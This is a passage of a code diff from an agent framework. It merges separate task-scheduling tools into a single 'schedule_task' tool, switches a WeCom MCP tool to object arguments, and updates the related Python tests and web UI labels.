TaskManager.get_execution(task_id) - if execution is not None: + if resource_type == "execution": ok = await TaskManager.delete_execution(task_id) - else: + elif resource_type == "scheduler": ok = await TaskManager.delete_scheduler(task_id) + else: + execution = await TaskManager.get_execution(task_id) + if execution is not None: + ok = await TaskManager.delete_execution(task_id) + else: + ok = await TaskManager.delete_scheduler(task_id) if not ok: return ToolResult(success=False, error=f"Task {task_id} not found") return ToolResult(success=True, output=f"Task {task_id} deleted.") -# ====================================================================== -# schedule_task_rerun -# ====================================================================== +async def schedule_task_rerun( + ctx: ToolContext, + task_id: str, + resource_type: Optional[str] = None, +) -> ToolResult: + from flocks.task.manager import TaskManager + + if resource_type == "execution": + task = await TaskManager.rerun_execution(task_id) + elif resource_type == "scheduler": + task = await TaskManager.rerun_scheduler(task_id) + else: + task = await TaskManager.rerun_execution(task_id) + if task is None: + task = await TaskManager.rerun_scheduler(task_id) + if not task: + return ToolResult(success=False, error=f"Task {task_id} not found") + + return ToolResult( + success=True, + output=_format_task(task), + title=f"Task rerun: {task.title}", + ) + + +_SCHEDULE_TASK_ACTIONS = [ + "create", + "list", + "status", + "update", + "enable", + "disable", + "cancel", + "retry", + "delete", + "rerun", +] + +_SCHEDULE_TASK_ACTIONS_BY_RESOURCE = { + "scheduler": { + "create", + "list", + "status", + "update", + "enable", + "disable", + "delete", + "rerun", + }, + "execution": {"list", "status", "cancel", "retry", "delete", "rerun"}, +} + @ToolRegistry.register_function( - name="schedule_task_rerun", - description="Rerun a task. If it is active, it will be cancelled and a new execution will be created.", + name="schedule_task", + description=( + "Manage task scheduler definitions and execution instances. Always select " + "resource_type. Scheduler actions: create, list, status, update, enable, " + "disable, delete, rerun. Execution actions: list, status, cancel, retry, " + "delete, rerun. Create tasks only for explicitly deferred or scheduled work. " + "For scheduled messaging, resolve channel_type and session_id with " + "im_send_message(resolve_only=true) first and include them in description and " + "user_prompt." + ), category=ToolCategory.SYSTEM, parameters=[ ToolParameter( - name="task_id", + name="action", type=ParameterType.STRING, - description="Task ID", + description="Task operation to perform.", required=True, + enum=_SCHEDULE_TASK_ACTIONS, + ), + ToolParameter( + name="resource_type", + type=ParameterType.STRING, + description="Target resource: scheduler definition or execution instance.", + required=True, + enum=["scheduler", "execution"], + ), + ToolParameter( + name="task_id", + type=ParameterType.STRING, + description="Scheduler or execution ID; required except for create and list.", + required=False, + ), + ToolParameter( + name="status", + type=ParameterType.STRING, + description="Optional status filter for action=list.", + required=False, + enum=[ + "active", + "disabled", + "paused", + "pending", + "queued", + "running", + "completed", + "failed", + "cancelled", + ], + ), + ToolParameter( + name="limit", + type=ParameterType.INTEGER, + description="Maximum list results.", + required=False, + default=10, + ), + ToolParameter( + name="title", + type=ParameterType.STRING, + description="Task title for create or new scheduler title for update.", + required=False, + ), + ToolParameter( + name="description", + type=ParameterType.STRING, + description=( + "Task description for create or update. Include resolved channel_type " + "and session_id for scheduled messaging tasks." + ), + required=False, + ), + ToolParameter( + name="type", + type=ParameterType.STRING, + description=( + "Create mode: queued for deferred execution without a schedule, or " + "scheduled for one-time/recurring execution controlled by run_once." + ), + required=False, + enum=["queued", "scheduled"], + ), + ToolParameter( + name="schedule_type", + type=ParameterType.STRING, + description="Legacy create mode alias: queued, scheduled, cron, recurring, or once.", + required=False, + ), + ToolParameter( + name="schedule", + type=ParameterType.STRING, + description="Legacy cron string or JSON schedule object for create.", + required=False, + ), + ToolParameter( + name="run_once", + type=ParameterType.BOOLEAN, + description="True for one-time scheduling; false for recurring scheduling.", + required=False, + ), + ToolParameter( + name="priority", + type=ParameterType.STRING, + description="Task priority for create or scheduler update.", + required=False, + enum=["urgent", "high", "normal", "low"], + ), + ToolParameter( + name="run_at", + type=ParameterType.STRING, + description="ISO 8601 datetime for one-time scheduling.", + required=False, + ), + ToolParameter( + name="cron", + type=ParameterType.STRING, + description="Five-field cron expression for recurring scheduling.", + required=False, + ), + ToolParameter( + name="cron_description", + type=ParameterType.STRING, + description="Human-readable schedule description shown in the UI.", + required=False, + ), + ToolParameter( + name="timezone", + type=ParameterType.STRING, + description="IANA timezone for run_at or cron; defaults to Asia/Shanghai on create.", + required=False, + ), + ToolParameter( + name="user_prompt", + type=ParameterType.STRING, + description=( + "Execution instructions without scheduling meta-language. Include resolved " + "channel_type and session_id for scheduled messaging tasks." + ), + required=False, + ), + ToolParameter( + name="enabled", + type=ParameterType.BOOLEAN, + description="Initial or updated scheduler enabled state.", + required=False, ), ], ) -async def schedule_task_rerun(ctx: ToolContext, task_id: str) -> ToolResult: - from flocks.task.manager import TaskManager +async def schedule_task( + ctx: ToolContext, + action: str, + resource_type: str, + task_id: Optional[str] = None, + status: Optional[str] = None, + limit: int = 10, + title: Optional[str] = None, + description: Optional[str] = None, + type: Optional[str] = None, + schedule_type: Optional[str] = None, + schedule: Optional[str] = None, + run_once: Optional[bool] = None, + priority: Optional[str] = None, + run_at: Optional[str] = None, + cron: Optional[str] = None, + cron_description: Optional[str] = None, + timezone: Optional[str] = None, + user_prompt: Optional[str] = None, + enabled: Optional[bool] = None, +) -> ToolResult: + """Dispatch task operations to the existing scheduler and execution handlers.""" + normalized_action = action.strip().lower() + normalized_resource = resource_type.strip().lower() + supported_actions = _SCHEDULE_TASK_ACTIONS_BY_RESOURCE.get(normalized_resource) + if supported_actions is None: + return ToolResult( + success=False, + error="resource_type must be 'scheduler' or 'execution'", + ) + if normalized_action not in supported_actions: + return ToolResult( + success=False, + error=( + f"Action '{normalized_action}' is not supported for " + f"resource_type='{normalized_resource}'. Valid actions: " + f"{', '.join(sorted(supported_actions))}" + ), + ) - task = await TaskManager.rerun_execution(task_id) - if task is None: - task = await TaskManager.rerun_scheduler(task_id) - if not task: - return ToolResult(success=False, error=f"Task {task_id} not found") + if normalized_action == "create": + if title is None or description is None: + return ToolResult( + success=False, + error="action='create' requires title and description", + ) + return await schedule_task_create( + ctx, + title=title, + description=description, + type=type, + schedule_type=schedule_type, + schedule=schedule, + run_once=run_once if run_once is not None else False, + priority=priority or "normal", + run_at=run_at, + cron=cron, + cron_description=cron_description, + timezone=timezone or "Asia/Shanghai", + user_prompt=user_prompt, + enabled=enabled, + ) - return ToolResult( - success=True, - output=_format_task(task), - title=f"Task rerun: {task.title}", + if normalized_action == "list": + query_type = "scheduler" if normalized_resource == "scheduler" else "execution" + return await schedule_task_list( + ctx, + status=status, + type=query_type, + limit=limit, + ) + + if not task_id: + return ToolResult( + success=False, + error=f"action='{normalized_action}' requires task_id", + ) + + if normalized_action == "status": + return await schedule_task_status( + ctx, + task_id, + resource_type=normalized_resource, + ) + if normalized_action in {"update", "enable", "disable", "cancel", "retry"}: + return await schedule_task_update( + ctx, + task_id, + action=normalized_action, + priority=priority, + title=title, + description=description, + run_once=run_once, + run_at=run_at, + cron=cron, + cron_description=cron_description, + timezone=timezone, + user_prompt=user_prompt, + enabled=enabled, + ) + if normalized_action == "delete": + return await schedule_task_delete( + ctx, + task_id, + resource_type=normalized_resource, + ) + return await schedule_task_rerun( + ctx, + task_id, + resource_type=normalized_resource, ) diff --git a/flocks/tool/wecom/wecom_mcp.py b/flocks/tool/wecom/wecom_mcp.py index 925bc6056..4b22433ac 100644 --- a/flocks/tool/wecom/wecom_mcp.py +++ b/flocks/tool/wecom/wecom_mcp.py @@ -341,7 +341,14 @@ async def _handle_list(category: str) -> str: "category": category, "count": len(tools), "tools": [ - {"name": t.get("name"), "description": t.get("description", "")} + { + "name": t.get("name"), + "description": t.get("description", ""), + "inputSchema": t.get( + "inputSchema", + {"type": "object", "properties": {}}, + ), + } for t in tools ], }) @@ -389,26 +396,10 @@ def _parse_args(args: Any) -> dict: @ToolRegistry.register_function( name="wecom_mcp", description=( - "调用企业微信 MCP Server，提供文档和智能表格的完整增删改查能力。\n\n" - "支持两种操作：\n" - " list — 列出指定品类的所有可用 MCP 工具\n" - " call — 调用指定品类的某个工具\n\n" - "常用品类（category）：\n" - " doc — 文档与智能表格操作（create_doc / smartsheet_* 系列）\n" - " contact — 通讯录查询（get_userlist / getContact 等）\n\n" - "典型调用示例：\n" - " 列出 doc 品类所有工具：action=list, category=doc\n" - " 创建文档：action=call, category=doc, method=create_doc, " - "args={\"doc_type\":3,\"doc_name\":\"项目周报\"}\n" - " 创建智能表格：action=call, category=doc, method=create_doc, " - "args={\"doc_type\":10,\"doc_name\":\"任务跟踪\"}\n" - " 查询子表：action=call, category=doc, method=smartsheet_get_sheet, " - "args={\"docid\":\"DOCID\"}\n" - " 新增记录：action=call, category=doc, method=smartsheet_add_records, " - "args={\"docid\":\"DOCID\",\"sheet_id\":\"SHEETID\"," - "\"records\":[{\"values\":{\"任务\":[{\"type\":\"text\",\"text\":\"完成报告\"}]}}]}\n\n" - "前置条件：企业微信 channel 必须已启用且 Bot 已连接；" - "企微账号需开通文档 MCP 能力（在企微管理后台申请）。" + "Discover and call tools provided by the connected WeCom MCP server. " + "Use action='list' to inspect method names and input schemas for a category, " + "then action='call' with the selected method and an args object. " + "Common categories are 'doc' and 'contact'." ), category=ToolCategory.CUSTOM, parameters=[ @@ -433,12 +424,10 @@ def _parse_args(args: Any) -> dict: ), ToolParameter( name="args", - type=ParameterType.STRING, - description=( - "调用参数，JSON 字符串或省略（action=call 时使用）。\n" - "示例：{\"doc_type\": 10, \"doc_name\": \"我的表格\"}" - ), + type=ParameterType.OBJECT, + description="MCP method arguments as an object; used with action=call.", required=False, + json_schema={"type": "object", "additionalProperties": True}, ), ], ) @@ -447,7 +436,7 @@ async def wecom_mcp( action: str, category: str, method: Optional[str] = None, - args: Optional[str] = None, + args: Optional[Any] = None, ) -> ToolResult: """企业微信 MCP Tool — 文档与智能表格操作入口。""" try: diff --git a/tests/integration/test_capability_awareness.py b/tests/integration/test_capability_awareness.py index 3a18d2a74..d93b675ca 100644 --- a/tests/integration/test_capability_awareness.py +++ b/tests/integration/test_capability_awareness.py @@ -307,7 +307,7 @@ async def test_rex_prompt_points_to_im_send_tool(self): assert 'skill_load(name="im-send")' not in prompt assert "### IM Send Protocol" not in prompt assert "Execute this exact sequence" not in prompt - assert "IM Session Resolution for schedule_task_create" not in prompt + assert "IM Session Resolution for schedule_task" not in prompt @pytest.mark.asyncio async def test_rex_prompt_contains_workflow_section(self): diff --git a/tests/tool/test_builtin_management_tools.py b/tests/tool/test_builtin_management_tools.py index b1a61d86d..9c649404a 100644 --- a/tests/tool/test_builtin_management_tools.py +++ b/tests/tool/test_builtin_management_tools.py @@ -11,6 +11,25 @@ def test_flocks_mcp_is_registered_as_builtin_tool() -> None: assert tool.info.source in {None, "builtin"} +def test_flocks_mcp_schema_exposes_actions_and_config_shape() -> None: + ToolRegistry.init() + + schema = ToolRegistry.get_schema("flocks_mcp") + + assert schema is not None + assert schema.properties["subcommand"]["enum"] == [ + "list", + "add", + "remove", + "connect", + "disconnect", + ] + config_schema = schema.properties["config"] + assert config_schema["type"] == "object" + assert config_schema["additionalProperties"] is False + assert config_schema["properties"]["command"]["items"] == {"type": "string"} + + def test_skill_load_remains_registered_as_builtin_tool() -> None: ToolRegistry.init() diff --git a/tests/tool/test_flocks_skills.py b/tests/tool/test_flocks_skills.py index d9f49f472..7446049da 100644 --- a/tests/tool/test_flocks_skills.py +++ b/tests/tool/test_flocks_skills.py @@ -8,7 +8,7 @@ - Successful execution (mocked subprocess) - Failed execution (non-zero exit code) - Timeout handling and proc.kill() -- args whitespace splitting +- Structured subcommand arguments - Output truncation """ @@ -49,7 +49,13 @@ def test_tool_is_registered(): def test_tool_has_expected_parameters(): tool = next(t for t in ToolRegistry.list_tools() if t.name == "flocks_skills") param_names = {p.name for p in tool.parameters} - assert {"subcommand", "args"} == param_names + assert { + "subcommand", + "query", + "source", + "skill_name", + "scope", + } == param_names @pytest.mark.asyncio @@ -57,7 +63,7 @@ async def test_unknown_subcommand_returns_error(): from flocks.tool.skill.flocks_skills import flocks_skills ctx = make_ctx() - result = await flocks_skills(ctx, subcommand="hack", args="") + result = await flocks_skills(ctx, subcommand="hack") assert result.success is False assert "Unknown subcommand" in (result.error or "") @@ -91,8 +97,14 @@ async def test_all_allowed_subcommands_accepted(): ): for sub in _ALLOWED_SUBCOMMANDS: ctx = make_ctx() - args = "github:owner/repo/demo" if sub == "install" else "" - result = await flocks_skills(ctx, subcommand=sub, args=args) + kwargs = {} + if sub == "find": + kwargs["query"] = "demo" + elif sub == "install": + kwargs["source"] = "github:owner/repo/demo" + elif sub in {"install-deps", "remove"}: + kwargs["skill_name"] = "demo" + result = await flocks_skills(ctx, subcommand=sub, **kwargs) assert result.success is True, f"subcommand {sub!r} should succeed" if sub in _READ_ONLY_SUBCOMMANDS: ctx.ask.assert_not_called() @@ -132,7 +144,7 @@ async def test_status_success(): @pytest.mark.asyncio -async def test_find_passes_args(): +async def test_find_passes_structured_query(): from flocks.tool.skill.flocks_skills import flocks_skills ctx = make_ctx() @@ -141,18 +153,20 @@ async def test_find_passes_args(): patch("flocks.tool.skill.flocks_skills._flocks_executable", return_value="/usr/bin/flocks"), patch("flocks.tool.skill.flocks_skills.asyncio.create_subprocess_exec", return_value=proc) as mock_exec, ): - result = await flocks_skills(ctx, subcommand="find", args="phishing analysis") + result = await flocks_skills( + ctx, + subcommand="find", + query="phishing analysis", + ) assert result.success is True cmd_args = mock_exec.call_args[0] - assert "find" in cmd_args - assert "phishing" in cmd_args - assert "analysis" in cmd_args + assert cmd_args == ("/usr/bin/flocks", "skills", "find", "phishing analysis") ctx.ask.assert_not_called() @pytest.mark.asyncio -async def test_remove_appends_yes_for_non_interactive_tool_calls(): +async def test_remove_accepts_structured_skill_name_and_appends_yes(): from flocks.tool.skill.flocks_skills import flocks_skills ctx = make_ctx() @@ -161,7 +175,11 @@ async def test_remove_appends_yes_for_non_interactive_tool_calls(): patch("flocks.tool.skill.flocks_skills._flocks_executable", return_value="/usr/bin/flocks"), patch("flocks.tool.skill.flocks_skills.asyncio.create_subprocess_exec", return_value=proc) as mock_exec, ): - result = await flocks_skills(ctx, subcommand="remove", args="old-skill") + result = await flocks_skills( + ctx, + subcommand="remove", + skill_name="old-skill", + ) assert result.success is True cmd_args = mock_exec.call_args[0] @@ -179,7 +197,11 @@ async def test_nonzero_exit_returns_failure(): "flocks.skill.installer.SkillInstaller.install_from_source", AsyncMock(return_value=SkillInstallResult(success=False, error="skill not found")), ): - result = await flocks_skills(ctx, subcommand="install", args="github:bad/source") + result = await flocks_skills( + ctx, + subcommand="install", + source="github:bad/source", + ) assert result.success is False assert "skill not found" in (result.error or "") @@ -187,7 +209,7 @@ async def test_nonzero_exit_returns_failure(): @pytest.mark.asyncio -async def test_install_forwards_raw_safeskill_uri_args(): +async def test_install_forwards_safeskill_source(): from flocks.tool.skill.flocks_skills import flocks_skills from flocks.skill.installer import SkillInstallResult @@ -203,7 +225,12 @@ async def test_install_forwards_raw_safeskill_uri_args(): ) with patch("flocks.skill.installer.SkillInstaller.install_from_source", installer): - result = await flocks_skills(ctx, subcommand="install", args=source) + result = await flocks_skills( + ctx, + subcommand="install", + source=source, + scope="global", + ) assert result.success is True installer.assert_awaited_once_with(source, scope="global", yes=True) @@ -228,7 +255,11 @@ async def test_install_timeout_returns_failure(): ) ), ): - result = await flocks_skills(ctx, subcommand="install", args="clawhub:slow-skill") + result = await flocks_skills( + ctx, + subcommand="install", + source="clawhub:slow-skill", + ) assert result.success is False assert "timed out" in (result.error or "").lower() @@ -249,7 +280,11 @@ async def test_remove_timeout_kills_process(): patch("flocks.tool.skill.flocks_skills._flocks_executable", return_value="/usr/bin/flocks"), patch("flocks.tool.skill.flocks_skills.asyncio.create_subprocess_exec", return_value=proc), ): - result = await flocks_skills(ctx, subcommand="remove", args="old-skill") + result = await flocks_skills( + ctx, + subcommand="remove", + skill_name="old-skill", + ) assert result.success is False assert "timed out" in (result.error or "").lower() @@ -258,8 +293,7 @@ async def test_remove_timeout_kills_process(): @pytest.mark.asyncio -async def test_empty_args_not_appended_to_cmd(): - """Empty args string must not add any extra tokens to the command.""" +async def test_status_does_not_append_arguments_to_cmd(): from flocks.tool.skill.flocks_skills import flocks_skills ctx = make_ctx() @@ -269,7 +303,7 @@ async def test_empty_args_not_appended_to_cmd(): patch("flocks.tool.skill.flocks_skills._flocks_executable", return_value="/usr/bin/flocks"), patch("flocks.tool.skill.flocks_skills.asyncio.create_subprocess_exec", return_value=proc) as mock_exec, ): - await flocks_skills(ctx, subcommand="status", args="") + await flocks_skills(ctx, subcommand="status") cmd_args = mock_exec.call_args[0] # Exactly: flocks, skills, status — nothing more diff --git a/tests/tool/test_task_center_compat.py b/tests/tool/test_task_center_compat.py index afd9dd9ea..ad4ad61e5 100644 --- a/tests/tool/test_task_center_compat.py +++ b/tests/tool/test_task_center_compat.py @@ -51,18 +51,19 @@ async def isolated_task_env(tmp_path: pytest.TempPathFactory, monkeypatch: pytes class TestTaskCenterCompatibility: def test_task_create_schema_allows_legacy_schedule_type(self): - schema = ToolRegistry.get_schema("schedule_task_create") + schema = ToolRegistry.get_schema("schedule_task") assert schema is not None assert "schedule_type" in schema.properties assert "schedule" in schema.properties assert "enabled" in schema.properties assert "action" in schema.properties - assert "type" not in schema.required + assert "resource_type" in schema.required + assert "action" in schema.required - def test_task_create_schema_mentions_extended_message_channels(self): - tool = ToolRegistry.get("schedule_task_create") - schema = ToolRegistry.get_schema("schedule_task_create") + def test_task_schema_mentions_message_session_resolution(self): + tool = ToolRegistry.get("schedule_task") + schema = ToolRegistry.get_schema("schedule_task") assert tool is not None assert schema is not None @@ -71,14 +72,16 @@ def test_task_create_schema_mentions_extended_message_channels(self): + " " + schema.properties["description"]["description"] ).lower() - for value in ("telegram", "whatsapp", "email", "channel_type=telegram", "channel_type=whatsapp", "channel_type=email"): + for value in ("im_send_message", "resolve_only", "channel_type", "session_id"): assert value in text - def test_task_update_schema_makes_action_optional_and_exposes_trigger_fields(self): - schema = ToolRegistry.get_schema("schedule_task_update") + def test_task_schema_exposes_actions_resources_and_trigger_fields(self): + schema = ToolRegistry.get_schema("schedule_task") assert schema is not None - assert "action" not in schema.required + assert schema.properties["resource_type"]["enum"] == ["scheduler", "execution"] + assert "create" in schema.properties["action"]["enum"] + assert "retry" in schema.properties["action"]["enum"] assert "cron" in schema.properties assert "run_once" in schema.properties assert "run_at" in schema.properties @@ -90,8 +93,10 @@ def test_task_update_schema_makes_action_optional_and_exposes_trigger_fields(sel @pytest.mark.asyncio async def test_task_create_accepts_legacy_schedule_type_alias(self): result = await ToolRegistry.execute( - "schedule_task_create", + "schedule_task", ctx=_make_ctx(), + action="create", + resource_type="scheduler", title="每10分钟执行一次", description="兼容旧 schedule_type 字段", schedule_type="cron", @@ -113,8 +118,10 @@ async def test_task_create_accepts_legacy_schedule_type_alias(self): @pytest.mark.asyncio async def test_task_create_infers_scheduled_type_from_cron(self): result = await ToolRegistry.execute( - "schedule_task_create", + "schedule_task", ctx=_make_ctx(), + action="create", + resource_type="scheduler", title="终端输出测试", description='每4分钟在终端输出"我是 flocks-04"', cron="*/4 * * * *", @@ -130,15 +137,16 @@ async def test_task_create_infers_scheduled_type_from_cron(self): assert scheduler.trigger.cron == "*/4 * * * *" @pytest.mark.asyncio - async def test_task_create_accepts_legacy_schedule_action_and_enabled_fields(self): + async def test_task_create_accepts_legacy_schedule_and_enabled_fields(self): result = await ToolRegistry.execute( - "schedule_task_create", + "schedule_task", ctx=_make_ctx(), + action="create", + resource_type="scheduler", title="终端输出测试", description='每4分钟在终端输出"我是 flocks-04"', schedule="*/4 * * * *", user_prompt="在终端中输出：我是 flocks-04", - action="exec", enabled="True", ) @@ -152,7 +160,7 @@ async def test_task_create_accepts_legacy_schedule_action_and_enabled_fields(sel assert scheduler.trigger.cron == "*/4 * * * *" @pytest.mark.asyncio - async def test_task_update_defaults_to_update_and_accepts_schedule_fields(self): + async def test_task_update_accepts_schedule_fields(self): scheduler = await TaskManager.create_scheduler( title="原始任务", description="原始描述", @@ -164,8 +172,10 @@ async def test_task_update_defaults_to_update_and_accepts_schedule_fields(self): ) result = await ToolRegistry.execute( - "schedule_task_update", + "schedule_task", ctx=_make_ctx(), + action="update", + resource_type="scheduler", task_id=scheduler.id, description="更新后的描述", cron="*/10 * * * *", @@ -194,8 +204,10 @@ async def test_task_create_rejects_run_once_without_time_instead_of_immediate(se masking missing-schedule mistakes from legacy clients. """ result = await ToolRegistry.execute( - "schedule_task_create", + "schedule_task", ctx=_make_ctx(), + action="create", + resource_type="scheduler", title="缺少时间参数", description="只传了 run_once=True 但没给 run_at/cron", run_once=True, @@ -214,8 +226,10 @@ async def test_task_create_schedule_json_accepts_string_boolean_run_once(self): """Legacy clients may serialise run_once as the string "false"/"0" — those must be coerced to False, not treated as truthy.""" result = await ToolRegistry.execute( - "schedule_task_create", + "schedule_task", ctx=_make_ctx(), + action="create", + resource_type="scheduler", title="字符串布尔值兼容", description="run_once 以字符串 'false' 传入", schedule='{"cron": "*/5 * * * *", "run_once": "false"}', @@ -234,8 +248,10 @@ async def test_task_create_schedule_json_accepts_string_boolean_run_once(self): @pytest.mark.asyncio async def test_task_create_rejects_six_field_cron_with_hint(self): result = await ToolRegistry.execute( - "task_create", + "schedule_task", ctx=_make_ctx(), + action="create", + resource_type="scheduler", title="每天早上 6 点执行", description="误传了 6 段 Quartz cron", cron="0 0 6 * * *", @@ -262,8 +278,10 @@ async def test_task_update_rejects_six_field_cron_with_hint(self): ) result = await ToolRegistry.execute( - "task_update", + "schedule_task", ctx=_make_ctx(), + action="update", + resource_type="scheduler", task_id=scheduler.id, cron="0 0 6 * * *", run_once=False, @@ -294,8 +312,10 @@ async def test_task_status_formats_scheduler_times_in_schedule_timezone(self): await TaskStore.create_scheduler(scheduler) result = await ToolRegistry.execute( - "task_status", + "schedule_task", ctx=_make_ctx(), + action="status", + resource_type="scheduler", task_id=scheduler.id, ) @@ -317,10 +337,11 @@ async def test_task_update_can_disable_and_enable_scheduled_task(self): ) disable_result = await ToolRegistry.execute( - "schedule_task_update", + "schedule_task", ctx=_make_ctx(), + action="disable", + resource_type="scheduler", task_id=scheduler.id, - action="stop", ) assert disable_result.success is True @@ -329,8 +350,10 @@ async def test_task_update_can_disable_and_enable_scheduled_task(self): assert disabled.status.value == "disabled" enable_result = await ToolRegistry.execute( - "schedule_task_update", + "schedule_task", ctx=_make_ctx(), + action="update", + resource_type="scheduler", task_id=scheduler.id, enabled=True, ) diff --git a/tests/tool/test_task_list_routing.py b/tests/tool/test_task_list_routing.py index 8c867043a..1ffc21853 100644 --- a/tests/tool/test_task_list_routing.py +++ b/tests/tool/test_task_list_routing.py @@ -12,8 +12,8 @@ import pytest -from flocks.tool.registry import ToolContext, ToolResult -from flocks.tool.task.schedule_task_center import schedule_task_list +from flocks.tool.registry import ToolContext, ToolRegistry, ToolResult +from flocks.tool.task.schedule_task_center import schedule_task, schedule_task_list _TM_PATH = "flocks.task.manager.TaskManager" @@ -62,6 +62,64 @@ def _fake_execution(id_: str = "exec_1", status: str = "completed") -> SimpleNam _EXECUTION_ONLY_STATUSES = ["completed", "failed", "running", "pending", "queued", "cancelled"] +def test_unified_schedule_task_replaces_legacy_tool_registrations(): + assert ToolRegistry.get("schedule_task") is not None + for legacy_name in ( + "schedule_task_create", + "schedule_task_list", + "schedule_task_status", + "schedule_task_update", + "schedule_task_delete", + "schedule_task_rerun", + ): + assert ToolRegistry.get(legacy_name) is None + + +@pytest.mark.asyncio +async def test_unified_scheduler_list_uses_explicit_resource_type(): + mock_list = AsyncMock(return_value=([_fake_scheduler()], 1)) + with patch(_TM_PATH) as tm: + tm.list_schedulers = mock_list + result = await schedule_task( + _ctx(), + action="list", + resource_type="scheduler", + ) + + assert result.success + assert "Task schedulers" in result.output + assert mock_list.call_args.kwargs["scheduled_only"] is False + + +@pytest.mark.asyncio +async def test_unified_execution_list_uses_explicit_resource_type(): + mock_list = AsyncMock(return_value=([_fake_execution()], 1)) + with patch(_TM_PATH) as tm: + tm.list_executions = mock_list + result = await schedule_task( + _ctx(), + action="list", + resource_type="execution", + status="completed", + ) + + assert result.success + assert "Task executions" in result.output + + +@pytest.mark.asyncio +async def test_unified_task_rejects_action_for_wrong_resource_type(): + result = await schedule_task( + _ctx(), + action="cancel", + resource_type="scheduler", + task_id="sched_1", + ) + + assert not result.success + assert "not supported" in result.error + + @pytest.mark.asyncio @pytest.mark.parametrize("bad_status", _EXECUTION_ONLY_STATUSES) async def test_scheduled_type_with_execution_status_returns_error(bad_status: str): diff --git a/tests/tool/test_tool_catalog.py b/tests/tool/test_tool_catalog.py index 29bb3ee87..fc875af1d 100644 --- a/tests/tool/test_tool_catalog.py +++ b/tests/tool/test_tool_catalog.py @@ -57,6 +57,7 @@ def test_catalog_uses_real_builtin_tool_names_for_metadata_keys() -> None: assert "memory" not in TOOL_TAGS assert "model_config" not in TOOL_TAGS assert "slash_command" not in TOOL_TAGS + assert "schedule_task_create" not in TOOL_TAGS for name in [ "doc_parser", @@ -71,6 +72,7 @@ def test_catalog_uses_real_builtin_tool_names_for_metadata_keys() -> None: "ssh_run_script", "flocks_mcp", "flocks_skills", + "schedule_task", "get_time", ]: assert name in TOOL_TAGS diff --git a/tests/tool/test_wecom_mcp.py b/tests/tool/test_wecom_mcp.py new file mode 100644 index 000000000..2ff0935f7 --- /dev/null +++ b/tests/tool/test_wecom_mcp.py @@ -0,0 +1,46 @@ +from __future__ import annotations + +import json +from unittest.mock import AsyncMock, patch + +import pytest + +import flocks.tool.wecom.wecom_mcp # noqa: F401 +from flocks.tool.registry import ToolRegistry +from flocks.tool.wecom.wecom_mcp import _handle_list + + +def test_wecom_mcp_schema_uses_object_arguments() -> None: + schema = ToolRegistry.get_schema("wecom_mcp") + + assert schema is not None + assert schema.properties["action"]["enum"] == ["list", "call"] + assert schema.properties["args"]["type"] == "object" + assert schema.properties["args"]["additionalProperties"] is True + + +@pytest.mark.asyncio +async def test_wecom_mcp_list_preserves_method_input_schema() -> None: + input_schema = { + "type": "object", + "properties": {"docid": {"type": "string"}}, + "required": ["docid"], + } + result = { + "tools": [ + { + "name": "get_doc_content", + "description": "Read document content", + "inputSchema": input_schema, + } + ] + } + + with patch( + "flocks.tool.wecom.wecom_mcp._send_rpc", + AsyncMock(return_value=result), + ): + output = await _handle_list("doc") + + payload = json.loads(output) + assert payload["tools"][0]["inputSchema"] == input_schema diff --git a/webui/src/components/common/toolPresentation.test.ts b/webui/src/components/common/toolPresentation.test.ts index b87b64ab1..ba24b3fea 100644 --- a/webui/src/components/common/toolPresentation.test.ts +++ b/webui/src/components/common/toolPresentation.test.ts @@ -37,12 +37,7 @@ const BUILT_IN_TOOLS = [ 'webfetch', 'delegate_task', 'task', - 'schedule_task_create', - 'schedule_task_list', - 'schedule_task_status', - 'schedule_task_update', - 'schedule_task_delete', - 'schedule_task_rerun', + 'schedule_task', 'todo', 'run_workflow', 'run_workflow_node', @@ -85,10 +80,16 @@ describe('resolveToolPresentation', () => { it('uses dynamic skill, MCP, session, and device action names', () => { expect(resolveToolPresentation( 'flocks_skills', - { input: { subcommand: 'install', args: 'agent-builder' } }, + { input: { subcommand: 'install', source: 'agent-builder' } }, zh, )).toMatchObject({ label: '安装技能', detail: 'agent-builder' }); + expect(resolveToolPresentation( + 'flocks_skills', + { input: { subcommand: 'find', query: 'malware analysis' } }, + zh, + )).toMatchObject({ label: '搜索技能', detail: 'malware analysis' }); + expect(resolveToolPresentation( 'flocks_mcp', { input: { subcommand: 'connect', name: 'brave-search' } }, @@ -108,6 +109,39 @@ describe('resolveToolPresentation', () => { )).toMatchObject({ label: '检测设备连接', detail: 'SOC 主设备' }); }); + it('uses the unified schedule task action and resource in its presentation', () => { + expect(resolveToolPresentation( + 'schedule_task', + { + input: { + action: 'create', + resource_type: 'scheduler', + title: '每日巡检', + cron_description: '每天早上 8 点', + }, + }, + zh, + )).toMatchObject({ + label: '创建定时任务', + detail: '每日巡检 · 每天早上 8 点', + }); + + expect(resolveToolPresentation( + 'schedule_task', + { + input: { + action: 'status', + resource_type: 'execution', + task_id: 'exec_123', + }, + }, + en, + )).toMatchObject({ + label: 'View task status', + detail: 'exec_123 · execution', + }); + }); + it('extracts concise targets instead of exposing raw input summaries', () => { expect(resolveToolPresentation( 'read', diff --git a/webui/src/components/common/toolPresentation.ts b/webui/src/components/common/toolPresentation.ts index 4c0d06945..c69d2a61d 100644 --- a/webui/src/components/common/toolPresentation.ts +++ b/webui/src/components/common/toolPresentation.ts @@ -25,6 +25,8 @@ const STATIC_LABEL_KEYS: Record = { webfetch: 'chat.tool.actions.fetchWeb', delegate_task: 'chat.tool.actions.delegateTask', task: 'chat.tool.actions.delegateTask', + schedule_task: 'chat.tool.actions.viewScheduledTask', + // Keep legacy labels so historical tool calls still render clearly. schedule_task_create: 'chat.tool.actions.createScheduledTask', schedule_task_list: 'chat.tool.actions.listScheduledTasks', schedule_task_status: 'chat.tool.actions.viewScheduledTask', @@ -83,6 +85,18 @@ const ACTION_LABEL_KEYS: Record> = { connect: 'chat.tool.actions.connectMcpServer', disconnect: 'chat.tool.actions.disconnectMcpServer', }, + schedule_task: { + create: 'chat.tool.actions.createScheduledTask', + list: 'chat.tool.actions.listScheduledTasks', + status: 'chat.tool.actions.viewScheduledTask', + update: 'chat.tool.actions.updateScheduledTask', + enable: 'chat.tool.actions.updateScheduledTask', + disable: 'chat.tool.actions.updateScheduledTask', + cancel: 'chat.tool.actions.updateScheduledTask', + retry: 'chat.tool.actions.rerunScheduledTask', + delete: 'chat.tool.actions.deleteScheduledTask', + rerun: 'chat.tool.actions.rerunScheduledTask', + }, session_manage: { list: 'chat.tool.actions.listTasks', get: 'chat.tool.actions.viewTask', @@ -251,10 +265,27 @@ function buildDetail( case 'skill_load': return stringValue(input, 'name', 'skill_name'); case 